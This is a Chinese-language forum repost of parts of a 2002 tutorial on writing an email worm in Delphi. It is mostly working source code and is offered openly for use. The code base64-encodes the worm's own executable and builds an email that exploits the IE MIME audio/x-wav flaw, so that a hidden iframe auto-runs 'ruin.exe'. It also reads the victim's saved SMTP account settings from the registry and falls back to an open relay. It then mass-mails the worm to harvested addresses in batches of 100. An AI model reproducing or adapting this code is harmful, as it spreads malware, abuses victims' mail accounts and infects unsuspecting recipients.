发信人: starseacn(顾枫) 
整理人: williamlong(2002-04-03 17:21:10), 站内信件
 | 
 
 
 --------------------------------------------------------------------------------
  
 浅谈用delphi来编写蠕虫病毒(part Ⅲ) 
 原创:whaoye(whaoye) 
 来源:[email protected] 
  
 浅谈用delphi来编写蠕虫病毒(part Ⅳ) 
 E-mail:[email protected] 
 { 
   注:由于小弟水平有限,并且是小弟第一次写文章,自然难免有很多不足的地方,还请大家包涵! 
       如果你有什么意见和建议,也请给我来信,大家互相学习,互相探讨! 
 } 
   hi,大家好,这两天由于找工作去了,所以没有接着帖,今天晚上有空,于是就接着上次的讲解。 
 上次因为篇幅的原因,没有把利用mime漏洞和直接用winsock发送信笺写完,今天,我就讲一讲这里, 
 因为其中要涉及到winsock编程,所以,还是建议不会的赶紧找一找这方面的书籍或者是资料。 
 不过,我还是会尽可能的使下面的代码简单易懂! 
    
   好了,废话少说,我们直接进入正题! 
   谈到发送信笺,就不能不谈到编码了。现在有很多种编码的方法,不过用得最多的还是base64了, 
 首先我们来实现base64编码的算法。 
 
   base64编码算法的描述如下:它将字符流顺序放入一个 24 位的缓冲区,缺字符的地方补零。 
 然后将缓冲区截断成为 4 个部分,高位在先,每个部分 6 位,用下面的64个字符重新表示: 
 “ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/”。 
 如果输入只有一个或两个字节,那么输出将用等号“=”补足。这可以隔断附加的信息造成编码的混乱。 
 它每行一般为76个字符。 
 这个算法很简单,我们直接来看代码: 
 
 procedure EncodeBASE64(Dest,Source:string);//这里是用两个字符串作为参数,也就两个文件的路径 
 const 
 _Code64: String[64] =('ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'); 
 //这里就是base64编码算法的64个字符 
 crlf=#13#10; 
 //定义crlf为回车换行 
 var 
 s,d:file; 
 buf1:array[0..2] of byte; 
 buf2:array[0..3] of char; 
 llen,len,pad,i:integer; 
 begin 
 assignfile(d,dest); //这里是目标文件 
 rewrite(d,1); 
 assignfile(s,source);//这里是原始文件 
 reset(s,1); 
 pad:=0; 
 llen:=0; 
 while (1=1) do 
 begin 
   blockread(s,buf1,3,len);if len=0 then break; 
   if (len<3) then 
     begin 
       pad:=3-len; 
       for i:=len to 2 do 
         buf1[i]:=0; 
     end; 
   buf2[0]:=_Code64[buf1[0] div 4+1]; 
   buf2[1]:=_Code64[(buf1[0] mod 4)*16 + (buf1[1] div 16)+1]; 
   buf2[2]:=_Code64[(buf1[1] mod 16)*4 + (buf1[2] div 64)+1]; 
   buf2[3]:=_Code64[buf1[2] mod 64+1]; 
 //这里进行了编码 
   if (pad<>0) then 
   begin 
    if pad=2 then buf2[2]:='='; 
      buf2[3]:='='; 
 //输入只有一个或两个字节,那么输出将用等号“=”补足 
      blockwrite(d,buf2,4); 
   end 
   else 
   begin 
      blockwrite(d,buf2,4); 
   end; 
   inc(llen,4); 
   if (llen=76) then 
   begin 
      blockwrite(d,crlf,2); 
 //控制每行只写76个字符 
   llen:=0; 
   end; 
 end; 
 blockwrite(d,crlf,2); 
 closefile(d); 
 closefile(s); 
 end; 
 
 这样,我们就完成了base64编码了,我们在发送邮件附件的时候,只需简单的调用这个函数就可以了, 
 只需要给他传递两个参数,一个是需要编码的文件,另一个就是编码后的文件存放的地方。 
 
 下面我们来谈一谈mime漏洞了,其实就是一个编码的问题了. 
 我们看一段含有mime漏洞的eml文件: 
 ************************************************************************************* 
 From: [email protected]  //发送人 
 Subject: SOS          //主题 
 X-Priority: 1        //优先级 
 Mime-Version: 1.0   //mime版本 
 Content-Type: multipart/related;boundary="--==I_am_a_script_kid==--" //定义标签一 
 
 ----==I_am_a_script_kid==--//标签一 
 Content-Type: multipart/alternative;boundary="--==I_am_a_script_kid_sign_two==--"//定义标签二 
 ----==I_am_a_script_kid_sign_two==-- //标签二 
 Content-Type: text/html 
 Content-Transfer-Encoding: quoted-printable 
 
 <iframe src=3Dcid:THE-CID height=3D0 width=3D0></iframe> 
 ----==I_am_a_script_kid==-- //标签一 
 Content-Type: audio/x-wav;name="ruin.exe" 
 Content-Transfer-Encoding: base64 
 Content-ID: <THE-CID> 
 
 ABCDEF.....//这里编码的内容省略 
 ************************************************************************************* 
 
 在刚才的那封含有mime漏洞的信笺中,我们需要随机的生成标签,这个函数很简单,我就不解释了, 
 代码如下: 
 
 function makeboundary:string; 
 begin 
 result:='-----=_Virus_Ruin_'+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10)); 
 end; 
 
 下面,我们还需要了解一下几个smtp协议的简单命令: 
 smtp协议非常简单,是典型的应答式的, 
 你每发一个命令过去都会有数据回应过来, 
 一般登陆上去后,我们首先用 
 HELLO 
 然后用命令 
 MAIL FROM: <发送者邮件地址> 
 然后就用rcpt to命令来告诉服务器,我的这封信笺要发给什么人, 
 RCPT TO: <接受信笺的收件人> 
 一般的服务器一次只接受100封邮件,这点需要留意一下, 
 如果你的收件人都填写完毕,你就可以发送命令 
 DATA 
 表示你要发送邮件的主体了,用一个crlf.crlf表示你的主体发送完毕。 
 最后用QUIT命令退出会话,关闭连接。 
 
 **因为只是浅谈,所以,这里我不涉及Esmtp服务器。** 
 
 
 大家可以看到,其实主要的部分还是中间的DATA命令, 
 把我们编码好的含有mime漏洞的信笺主体发送过去。 
 为了方便起见,我们先生成一个文本文件,这个文本文件用来装载要发送的eml的body, 
 在连接上去后一次把这个文本文件的内容发出去就可以了。 
 procedure makeemlfile; 
 var 
 f,d:textfile; 
 path:array[0..255] of char; 
 boundary1,boundary2,S,str,line:string; 
 begin 
 GetSystemDirectory(path,256); 
 str:=strpas(path); 
 boundary1:=makeboundary; 
 boundary2:=makeboundary; 
 //这里,我们随机的生成了两个标签。 
 s:='From: [email protected]'#13#10//这里你可以换成你自己的email地址 
 +'Subject: SOS'#13#10  //这里,你也可以随机的来生成主题 
 +'X-Priority: 1'#13#10 //邮件的优先级,其实可以忽略 
 +'Mime-Version: 1.0'#13#10 
 +'Content-Type: multipart/related;boundary="'+boundary1+'"'#13#10#13#10 
 +'--'+boundary1+#13#10 
 +'Content-Type: multipart/alternative;boundary="'+boundary2+'"'#13#10 
 +'--'+boundary2+#13#10 
 +'Content-Type: text/html'#13#10 
 +'Content-Transfer-Encoding: quoted-printable'#13#10#13#10 
 +'<iframe src=3Dcid:THE-CID height=3D0 width=3D0></iframe>'#13#10 
 +'--'+boundary1+#13#10 
 +'Content-Type: audio/x-wav;name="ruin.exe"'#13#10 //就是这里audio/x-wav为mime漏洞了。 
 +'Content-Transfer-Encoding: base64'#13#10 
 +'Content-ID: <THE-CID>'#13#10#13#10; 
 //这里就是填充一些必要的信息。 
 assignfile(f,str+'\ruin.eml'); 
 rewrite(f); 
 write(f,s);//首先把上面的内容写入文件ruin.eml 
 CopyFile(pchar(paramstr(0)),pchar(str+'\ruin_temp.exe'),false); 
 //因为不能打开自身进行读写,所以,这里先做一个拷贝文件,我们直接来读拷贝后的文件 
 encodebase64(str+'\ruin_eml.txt',str+'\ruin_temp.exe'); 
 deletefile(str+'\ruin_temp.exe'); 
 //删除刚才拷贝的临时文件 
 assignfile(d,str+'\ruin_eml.txt'); 
 reset(d); 
 while not eof(d) do 
    begin 
    readln(d,line); 
    writeln(f,line); 
 //接着向ruin.eml里面写入我们的病毒代码的base64编码 
    end; 
 closefile(d); 
 deletefile(str+'\ruin_eml.txt'); 
 //删除刚才调用base64编码算法生成的临时文件 
 closefile(f); 
 end; 
 
 到这里,我们基本上完成了信笺的编码部分了,现在只需要用winsock编程, 
 连接服务器,然后把上面的这个文件的内容发送出去就完成了病毒的传播功能模块了。 
 因为篇幅有限,并且,我也不是主要讲解winsock,所以, 
 我只简单的把几个函数作用列出来。 
 
 accept()* 响应联结请求,并且新建一个套接口。原来的套接口则返回监听状态。 
 bind() 把一个本地的名字和一个无名的套接口捆绑起来。 
 closesocket()* 把套接口从拥有对象参考表中取消。该函数只有在SO_LINGER被设置时才会阻塞。 
 connect()* 初始化到一个指定套接口上的连接。 
 getpeername() 得到连接在指定套接口上的对等通讯方的名字。 
 getsockname() 得到指定套接口上当前的名字。 
 getsockopt() 得到与指定套接口相关的属性选项。 
 htonl() 把32位的数字从主机字节顺序转换到网络字节顺序。 
 htons() 把16位的数字从主机字节顺序转换到网络字节顺序。 
 inet_addr() 把一个Internet标准的"."记号地址转换成Internet地址数值。 
 inet_ntoa() 把Internet地址数值转换成带"."的ASCII字符串。 
 ioctlsocket() 为套接口提供控制。 
 listen() 监听某一指定套接口上连接请求的到来。 
 ntohl() 把32位数字从网络字节顺序转换为主机字节顺序。 
 ntons() 把16位数字从网络字节顺序转换为主机字节顺序。 
 recv()* 从一个已连接的套接口接收数据。 
 recvfrom()* 从一个已连接的或未连接的套接口接收数据。 
 select()* 执行同步I/O多路复用。 
 send()* 从一已连接的套接口发送数据。 
 sendto()* 从已连接或未连接的套接口发送数据。 
 setsockopt() 设置与指定套接口相关的属性选项。 
 shutdown() 关闭一部分全双工的连接。 
 socket() 创建一个通讯端点并返回一个套接口。 
 
 具体的函数的申明,请参考sdk。 
 下面看发送信笺的代码: 
 首先定义几个常数: 
 const 
 HELO='HELO'#13#10; 
 MAILFROM='MAIL FROM: %S'#13#10; 
 RCPTTO='RCPT TO: %S'#13#10; 
 DATA='DATA'#13#10; 
 QUIT='QUIT'#13#10; 
 ENDSIGN=#13#10'.'#13#10; 
 以及定义发送信笺的数据结果: 
 type 
 cs=record 
 address:array[0..99] of string; 
 count:integer; //email地址的个数 
 smtp:pchar;   //smtp服务器的地址 
 account:pchar; //发送信笺时使用的帐号 
 
 我们再先定义两个函数,下面需要用到。 
 function mysizeof(buffer:string):integer; //这个函数用来得到数据的长度 
 var 
 i:integer; 
 begin 
 for i:=1 to length(buffer) do 
 if buffer[i]=#10 then break; 
 mysizeof:=i; 
 end; 
 
 function randomaddress:pchar;            //产生一个用户名 
 begin 
 Randomize; 
 result:=pchar(inttostr(Random(100))+'@21cn.com'); 
 end; 
 
 function getip(name:pchar):pchar; 
 type 
 plongint=^longint; 
 var 
 phe:phostent; 
 address:longint; 
 begin 
 phe:=gethostbyname(name); 
 if phe <> nil then 
 begin 
 address:=longint(plongint(phe^.h_addr_list^)^); 
 getip:=inet_ntoa(TInAddr(Address)); 
 end 
 else getip:=name; 
 end; 
 
 在前面两天的讲解中,我们已经把IE缓存中的email地址都保存到maillist.lst文件中, 
 现在,我们写一个主函数, 
 每次都100个地址(因为一次mailfrom只能发送100封),然后发送信笺。 
 好了,下面是我们发送信笺的主函数: 
 
 procedure sendemails; 
 var 
 hk:hkey; 
 smtp,account,path,smtppassword:array[0..255] of char; 
 smtplen,accountlen,smtppasswordlen,i:integer; 
 canshu:cs; 
 f:textfile; 
 str:string; 
 begin 
 GetSystemDirectory(path,256); 
 str:=strpas(path); 
 smtplen:=256; 
 accountlen:=256; 
 smtppasswordlen:=256; 
 i:=0; 
 RegOpenKey(HKEY_CURRENT_USER,'Software\Microsoft\Internet Account Manager\Accounts\00000001',hk); 
 RegQueryValueEx(hk,'SMTP Server',nil,nil,@smtp,@smtplen); 
 RegQueryValueEx(hk,'Smtp Email Address',nil,nil,@account,@accountlen); 
 RegQueryValueEx(hk,'SMTP Password2',nil,nil,@smtppassword,@smtppasswordlen); 
 //一直到这里都是准备工作,读取该用户的帐号和smtp服务器 
 if smtppasswordlen<>256 then 
 //需要注意的是,这里smtp password2表示smtp服务器需要密码登陆 
 //所以我们进行判断 
 begin 
   canshu.smtp:=smtp; 
   canshu.account:=account; 
 //这里是smtp服务器,按默认设置 
 end else 
   begin 
   canshu.smtp:='smtp.21cn.com'; 
   canshu.account:=randomaddress; 
 //否则,我设置为smtp服务器为smtp.21cn.com 
 //帐号为随机产生一个21cn的地址 
 //因为smtp.21cn.com不需要身份验证 
   end; 
 assignfile(f,str+'\maillist.lst'); 
 reset(f); 
 while not eof(f) do 
 begin 
   readln(f,canshu.address[i]); 
   inc(i); 
   if i=100 then 
      begin 
         i:=0; 
         canshu.count:=100; 
         sendmail(canshu); 
 //每次读100个地址,然后调用我们发送邮件的地址 
 //sendmail函数在下面会定义,请往后看 
      end; 
 end; 
 closefile(f); 
 if i>0 then 
 begin 
         canshu.count:=i; 
         sendmail(canshu); 
 //这里是如果邮件个数不是100的整数倍,就读剩余的个数i 
 end; 
 end; 
 
 到这里,我手都打累了, 
 基本的工作都做完了, 
 只剩下最后一道工序,就是刚才上面的函数sendmail 
 好,快完了,大家接着看: 
 
 procedure sendmail(canshu:cs); 
 var 
 s:tsocket; 
 wsa:twsadata; 
 server:tsockaddr; 
 errorcode,i,count:integer; 
 smtp,account:pchar; 
 address:array of string; 
 recvbuffer,sendbuffer:array[0..79] of char; 
 head,path:array[0..255] of char; 
 body:array of char; 
 f:file; 
 str:string; 
 begin 
 //wsastartup($0101,wsa); 
 //加载winsock库 
 GetSystemDirectory(path,256); 
 str:=strpas(path); 
 count:=2; 
 setlength(address,count); 
 getmem(smtp,256); 
 getmem(account,256); 
 //分配内存空间 
 strcopy(smtp,canshu.smtp); 
 strcopy(account,canshu.account); 
 //填充一些基本的信息 
 s:=socket(af_inet,sock_stream,0); 
 //建立一个套接字 
 if s=invalid_socket then exit; 
 server.sin_family:=af_inet; 
 server.sin_port:=htons(25); 
 server.sin_addr.S_addr:=inet_addr(getip(canshu.smtp)); 
 errorcode:=connect(s,server,sizeof(server)); 
 //调用connect和服务器连接 
   if  errorcode=0 then 
    begin 
      makeemlfile; 
 //调用我们上面的函数,生成一个eml文件 
      assignfile(f,str+'\ruin.eml'); 
      reset(f,1); 
      i:=filesize(f); 
      setlength(body,i); 
      blockread(f,body[0],i); 
 //把刚才eml文件里面的所有内容都读取到body里面去 
      closefile(f); 
      recv(s,head,sizeof(head),0); 
 //这里调用recv来接受服务器的banner 
      strpcopy(sendbuffer,HELO); 
      send(s,sendbuffer,6,0); 
 //我们发送命令HELO 
      recv(s,recvbuffer,sizeof(recvbuffer),0); 
 //接收服务器的返回信息 
      strpcopy(sendbuffer,format(mailfrom,[account])); 
      send(s,sendbuffer,mysizeof(sendbuffer),0); 
 //我们发送命令MAIL FROM 
      recv(s,recvbuffer,sizeof(recvbuffer),0); 
 //接收服务器的返回信息 
      for i:=0 to count-1 do 
       begin 
        strpcopy(sendbuffer,format(RCPTTO,[address[i]])); 
        send(s,sendbuffer,mysizeof(sendbuffer),0); 
        recv(s,recvbuffer,sizeof(recvbuffer),0); 
        end; 
 //已经发送count个rcpt to命令 
      strpcopy(sendbuffer,DATA); 
      send(s,sendbuffer,6,0); 
 //这里开始发送信笺的主体 
      recv(s,recvbuffer,sizeof(recvbuffer),0); 
 //接收服务器的返回信息 
      send(s,body[0],length(body),0); 
      strpcopy(sendbuffer,ENDSIGN); 
      send(s,sendbuffer,5,0); 
 //这里发送信笺结束标志 
      recv(s,recvbuffer,sizeof(recvbuffer),0); 
 //接收服务器的返回信息 
      strpcopy(sendbuffer,QUIT); 
      send(s,sendbuffer,6,0); 
 //发送QUIT表示我们要退出会话 
      recv(s,recvbuffer,sizeof(recvbuffer),0); 
 //接收服务器的返回信息 
      closesocket(s); 
 //关闭套接字 
      deletefile(str+'\ruin.eml'); 
 //删除临时文件 
    end; 
 freemem(smtp,256); 
 freemem(account,256); 
 //wsacleanup; 
 end; 
 
 这里大家要注意一下,我在这里把wsastartup和wsacleanup给注释掉了, 
 因为我认为,这个还是在你的程序的主函数里调用是最好的。 
 并且,这里其实还可以在发送完一封后,就用一个rset命令, 
 不过一般的服务器只能支持10次rset命令,也就是说一次连接最多只能发送1000封信笺。 
 邮件群发也就是利用这个原理。 
 这里,recv函数其实都可以省略,一次把所有的内容发送完毕都可以,不管服务器返回什么! 
 
 ****************************************************************************************** 
 后话:到这里,今天的代码总算是完成了!(长嘘一口气) 
       不过,今天可能讲得很不好,因为内容太多了,加上今天去应聘不是很爽, 
       所以就....... 
       哎呀,好象找人喝酒!要是开学了就好,哥俩好啊,六个六............ 
       还请各位看官原谅。 
       明天看有空就把最后一部分写完! 
 ******************************************************************************************  
  
 发布时间:2002年03月15日19时 
  | 
 
 
 |